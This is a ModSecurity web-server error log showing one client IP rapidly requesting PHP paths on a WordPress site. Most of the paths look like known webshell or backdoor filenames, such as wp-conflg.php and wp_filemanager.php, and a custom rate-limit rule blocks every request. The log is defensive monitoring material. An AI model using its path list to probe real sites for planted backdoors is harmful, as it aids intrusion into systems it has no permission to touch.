[Tue Nov 25 20:05:46.129020 2025] [:error] [pid 14076:tid 14105] [client 20.196.125.130:30408] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aSWbmnsB4Gz6Qw-pvBsevAAAABg"]
[Tue Nov 25 20:05:47.445955 2025] [:error] [pid 2987:tid 2998] [client 20.196.125.130:30416] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aSWbm8-djEt-pTzPxnyqyAAAAUk"]
[Tue Nov 25 20:05:48.135389 2025] [:error] [pid 14077:tid 14133] [client 20.196.125.130:30481] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aSWbnBG9n7UHEkwDTyihwwAAAFc"]
[Tue Nov 25 20:05:49.004983 2025] [:error] [pid 14078:tid 14156] [client 20.196.125.130:30187] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aSWbndVXYbb0ii_rVoJPFAAAAJM"]
[Tue Nov 25 20:05:49.688524 2025] [:error] [pid 14077:tid 14131] [client 20.196.125.130:30173] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aSWbnRG9n7UHEkwDTyih0gAAAFU"]
[Tue Nov 25 20:05:50.231885 2025] [:error] [pid 28842:tid 28993] [client 20.196.125.130:30195] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aSWbntNmoaPf6T4-6C2e8QAAA0M"]
[Tue Nov 25 20:05:51.912709 2025] [:error] [pid 28836:tid 29007] [client 20.196.125.130:30169] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "aSWbn5wNRsoxcLQGkTfK8wAAAtE"]
[Tue Nov 25 20:05:52.396364 2025] [:error] [pid 14077:tid 14132] [client 20.196.125.130:30440] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "aSWboBG9n7UHEkwDTyih6QAAAFY"]
[Tue Nov 25 20:05:52.749624 2025] [:error] [pid 14076:tid 14090] [client 20.196.125.130:30192] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "aSWboHsB4Gz6Qw-pvBse0AAAAAk"]
[Tue Nov 25 20:05:53.450302 2025] [:error] [pid 28740:tid 28815] [client 20.196.125.130:30454] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "aSWboVppQCoYxWW6V0WMwgAAAlg"]
[Tue Nov 25 20:05:54.036693 2025] [:error] [pid 14077:tid 14129] [client 20.196.125.130:30196] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-903.php"] [unique_id "aSWbohG9n7UHEkwDTyih9wAAAFM"]
[Tue Nov 25 20:05:54.686840 2025] [:error] [pid 14076:tid 14097] [client 20.196.125.130:30158] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-903.php"] [unique_id "aSWbonsB4Gz6Qw-pvBse1gAAABA"]
[Tue Nov 25 20:05:55.072283 2025] [:error] [pid 14078:tid 14158] [client 20.196.125.130:30471] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-903.php"] [unique_id "aSWbo9VXYbb0ii_rVoJPHAAAAJU"]
[Tue Nov 25 20:05:55.706294 2025] [:error] [pid 28609:tid 28641] [client 20.196.125.130:30171] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-903.php"] [unique_id "aSWboyGGdT-nZJVs3x3LswAAAZc"]
[Tue Nov 25 20:05:56.038500 2025] [:error] [pid 28740:tid 28794] [client 20.196.125.130:30472] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aSWbpFppQCoYxWW6V0WMxQAAAkM"]
[Tue Nov 25 20:05:57.057735 2025] [:error] [pid 28842:tid 29002] [client 20.196.125.130:30679] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aSWbpdNmoaPf6T4-6C2fEAAAA0w"]
[Tue Nov 25 20:05:58.271314 2025] [:error] [pid 14168:tid 14188] [client 20.196.125.130:30525] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aSWbpvR-ZDU0QEgAIItunwAAANE"]
[Tue Nov 25 20:05:58.908444 2025] [:error] [pid 2987:tid 3009] [client 20.196.125.130:30488] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aSWbps-djEt-pTzPxnyq6wAAAVQ"]
[Tue Nov 25 20:05:59.521918 2025] [:error] [pid 2987:tid 2997] [client 20.196.125.130:30403] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nij.php"] [unique_id "aSWbp8-djEt-pTzPxnyq7AAAAUg"]
[Tue Nov 25 20:06:00.261113 2025] [:error] [pid 28842:tid 28998] [client 20.196.125.130:30655] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nij.php"] [unique_id "aSWbqNNmoaPf6T4-6C2fEwAAA0g"]
[Tue Nov 25 20:06:01.292991 2025] [:error] [pid 2987:tid 3000] [client 20.196.125.130:30508] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nij.php"] [unique_id "aSWbqc-djEt-pTzPxnyq7wAAAUs"]
[Tue Nov 25 20:06:01.810001 2025] [:error] [pid 14078:tid 14138] [client 20.196.125.130:30374] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nij.php"] [unique_id "aSWbqdVXYbb0ii_rVoJPKQAAAIE"]
[Tue Nov 25 20:06:02.411908 2025] [:error] [pid 14076:tid 14081] [client 20.196.125.130:30402] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aSWbqnsB4Gz6Qw-pvBse6gAAAAA"]
[Tue Nov 25 20:06:03.258743 2025] [:error] [pid 28836:tid 28963] [client 20.196.125.130:30448] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aSWbq5wNRsoxcLQGkTfLPQAAAsg"]
[Tue Nov 25 20:06:03.772227 2025] [:error] [pid 28740:tid 28807] [client 20.196.125.130:30339] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aSWbq1ppQCoYxWW6V0WNOQAAAlA"]
[Tue Nov 25 20:06:04.723103 2025] [:error] [pid 14077:tid 14127] [client 20.196.125.130:30190] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aSWbrBG9n7UHEkwDTyiiIgAAAFE"]
[Tue Nov 25 20:06:05.325650 2025] [:error] [pid 28836:tid 28962] [client 20.196.125.130:30150] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aSWbrZwNRsoxcLQGkTfLQwAAAsc"]
[Tue Nov 25 20:06:06.020121 2025] [:error] [pid 28842:tid 29024] [client 20.196.125.130:30368] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aSWbrtNmoaPf6T4-6C2fIwAAA1Y"]
[Tue Nov 25 20:06:06.499587 2025] [:error] [pid 14076:tid 14096] [client 20.196.125.130:30675] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aSWbrnsB4Gz6Qw-pvBse8gAAAA8"]
[Tue Nov 25 20:06:06.851760 2025] [:error] [pid 28842:tid 29026] [client 20.196.125.130:30156] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aSWbrtNmoaPf6T4-6C2fJwAAA1g"]
[Tue Nov 25 20:06:07.291143 2025] [:error] [pid 2987:tid 2990] [client 20.196.125.130:30575] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aSWbr8-djEt-pTzPxnyq9QAAAUE"]
[Tue Nov 25 20:06:07.837246 2025] [:error] [pid 28739:tid 28768] [client 20.196.125.130:30393] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aSWbrxxGpKmlkG4FexSCwQAAAgY"]
[Tue Nov 25 20:06:08.396458 2025] [:error] [pid 28740:tid 28809] [client 20.196.125.130:30177] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aSWbsFppQCoYxWW6V0WNQgAAAlI"]
[Tue Nov 25 20:06:08.856092 2025] [:error] [pid 28739:tid 28766] [client 20.196.125.130:30461] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aSWbsBxGpKmlkG4FexSCwwAAAgQ"]
[Tue Nov 25 20:06:09.670297 2025] [:error] [pid 14078:tid 14140] [client 20.196.125.130:30437] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "aSWbsdVXYbb0ii_rVoJPMwAAAIM"]
[Tue Nov 25 20:06:10.160868 2025] [:error] [pid 28842:tid 29002] [client 20.196.125.130:30146] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "aSWbstNmoaPf6T4-6C2fKgAAA0w"]
[Tue Nov 25 20:06:10.857590 2025] [:error] [pid 28836:tid 28965] [client 20.196.125.130:30439] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "aSWbspwNRsoxcLQGkTfLSQAAAso"]
[Tue Nov 25 20:06:11.687030 2025] [:error] [pid 14077:tid 14131] [client 20.196.125.130:30400] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "aSWbsxG9n7UHEkwDTyiiOAAAAFU"]
[Tue Nov 25 20:06:12.048023 2025] [:error] [pid 14076:tid 14091] [client 20.196.125.130:30372] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lo.php"] [unique_id "aSWbtHsB4Gz6Qw-pvBse9QAAAAo"]
[Tue Nov 25 20:06:12.734966 2025] [:error] [pid 28842:tid 29003] [client 20.196.125.130:30153] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lo.php"] [unique_id "aSWbtNNmoaPf6T4-6C2fLQAAA00"]
[Tue Nov 25 20:06:13.208701 2025] [:error] [pid 28842:tid 29026] [client 20.196.125.130:30148] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lo.php"] [unique_id "aSWbtdNmoaPf6T4-6C2fLgAAA1g"]
[Tue Nov 25 20:06:14.071693 2025] [:error] [pid 14076:tid 14097] [client 20.196.125.130:30194] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lo.php"] [unique_id "aSWbtnsB4Gz6Qw-pvBse9gAAABA"]
[Tue Nov 25 20:06:14.688475 2025] [:error] [pid 14077:tid 14132] [client 20.196.125.130:30420] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpls.php"] [unique_id "aSWbthG9n7UHEkwDTyiiPgAAAFY"]
[Tue Nov 25 20:06:15.118132 2025] [:error] [pid 2987:tid 2990] [client 20.196.125.130:30387] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpls.php"] [unique_id "aSWbt8-djEt-pTzPxnyrAAAAAUE"]
[Tue Nov 25 20:06:15.755672 2025] [:error] [pid 28842:tid 29017] [client 20.196.125.130:30198] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpls.php"] [unique_id "aSWbt9NmoaPf6T4-6C2fNwAAA1A"]
[Tue Nov 25 20:06:16.308087 2025] [:error] [pid 28739:tid 28776] [client 20.196.125.130:30432] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpls.php"] [unique_id "aSWbuBxGpKmlkG4FexSCzAAAAg4"]
[Tue Nov 25 20:06:17.684471 2025] [:error] [pid 28739:tid 28786] [client 20.196.125.130:30524] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geck.php"] [unique_id "aSWbuRxGpKmlkG4FexSC0QAAAhg"]
[Tue Nov 25 20:06:18.200287 2025] [:error] [pid 28836:tid 29006] [client 20.196.125.130:30399] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geck.php"] [unique_id "aSWbupwNRsoxcLQGkTfLUAAAAtA"]
[Tue Nov 25 20:06:18.825185 2025] [:error] [pid 28836:tid 29013] [client 20.196.125.130:30430] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geck.php"] [unique_id "aSWbupwNRsoxcLQGkTfLVQAAAtc"]
[Tue Nov 25 20:06:19.271412 2025] [:error] [pid 2987:tid 3003] [client 20.196.125.130:30338] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geck.php"] [unique_id "aSWbu8-djEt-pTzPxnyrEgAAAU4"]
[Tue Nov 25 20:06:20.232296 2025] [:error] [pid 28739:tid 28775] [client 20.196.125.130:30154] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inde.php"] [unique_id "aSWbvBxGpKmlkG4FexSC3wAAAg0"]
[Tue Nov 25 20:06:20.858012 2025] [:error] [pid 28836:tid 29007] [client 20.196.125.130:30458] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inde.php"] [unique_id "aSWbvJwNRsoxcLQGkTfLWAAAAtE"]
[Tue Nov 25 20:06:21.672853 2025] [:error] [pid 28740:tid 28794] [client 20.196.125.130:30207] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inde.php"] [unique_id "aSWbvVppQCoYxWW6V0WNVAAAAkM"]
[Tue Nov 25 20:06:22.645860 2025] [:error] [pid 28842:tid 28990] [client 20.196.125.130:30512] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inde.php"] [unique_id "aSWbvtNmoaPf6T4-6C2fPgAAA0A"]
[Tue Nov 25 20:06:23.257133 2025] [:error] [pid 28842:tid 29002] [client 20.196.125.130:30149] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aSWbv9NmoaPf6T4-6C2fPwAAA0w"]
[Tue Nov 25 20:06:24.005454 2025] [:error] [pid 14077:tid 14113] [client 20.196.125.130:30206] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aSWbwBG9n7UHEkwDTyiiSAAAAEM"]
